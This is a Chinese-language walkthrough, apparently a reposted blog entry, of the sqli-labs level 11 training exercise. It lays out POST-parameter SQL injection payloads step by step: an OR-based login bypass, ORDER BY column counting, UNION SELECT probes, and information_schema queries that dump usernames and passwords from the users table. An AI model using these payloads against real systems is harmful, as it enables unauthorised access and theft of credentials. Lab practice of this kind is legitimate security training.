sql报错型注入-sqli-labs第11关

获取数据的操作

判断是否为字符型注入

image-20211103101809464

passwd=1' or '1'='1 &uname=1' or '1'='1

输入post参数判断是否为字符型注入

判断数据库中含有多少列

image-20211103195820244

image-20211103195850021

image-20211103195908365

通过查询语句:

uname=1'or 1=1 order by 3 -- -&passwd=1' or 1=1 -- -

可发现报错:Unknown column ‘3’ in ‘order clause’,则可说明查询的数据库中只有两列,则可确定后续的联合查询的参数数量。

判断界面输出与数据库的接口

image-20211103194807276

uname='union select 11,22&passwd='union select 11,22

输入post参数判断界面显示的值为数据库查询的哪一个字段

因为输入post的值有两个,为uname和passwd,则再判断输出数据为哪个参数查询结果:

image-20211103195410745

uname='union select 11,22 -- - & passwd='-- -

可发现,输出的数值为uname中联合查询的第一个数值和第二个数值

查询数据库名字和版本号


image-20211103195525621

uname='union select database(),version() -- - & passwd=' -- -

爆破使用数据库的版本号和名字

查询表名


image-20211103200431131

uname='union select group_concat(table_name),22 from information_schema.tables where table_schema = 'security'-- -&passwd=' -- -

其中,group_concat()函数的作用为将查询出来的table_name合并为一个元组,以便展示出来,否则,根据界面定义,将只展示查询到的第一个值。

查询表中的列名


image-20211103200909083

uname='union select group_concat(column_name),22 from information_schema.columns where table_schema = 'security' and table_name='users'-- -&passwd=' -- -

爆破security表中的users表的列名

查询表中字段的数据


image-20211103201031720

uname='union select group_concat(username),group_concat(password) from security.users -- -&passwd=' -- -

通过union输出users表中的 username 和 password

猜你喜欢

转载自blog.csdn.net/weixin_46784800/article/details/121129569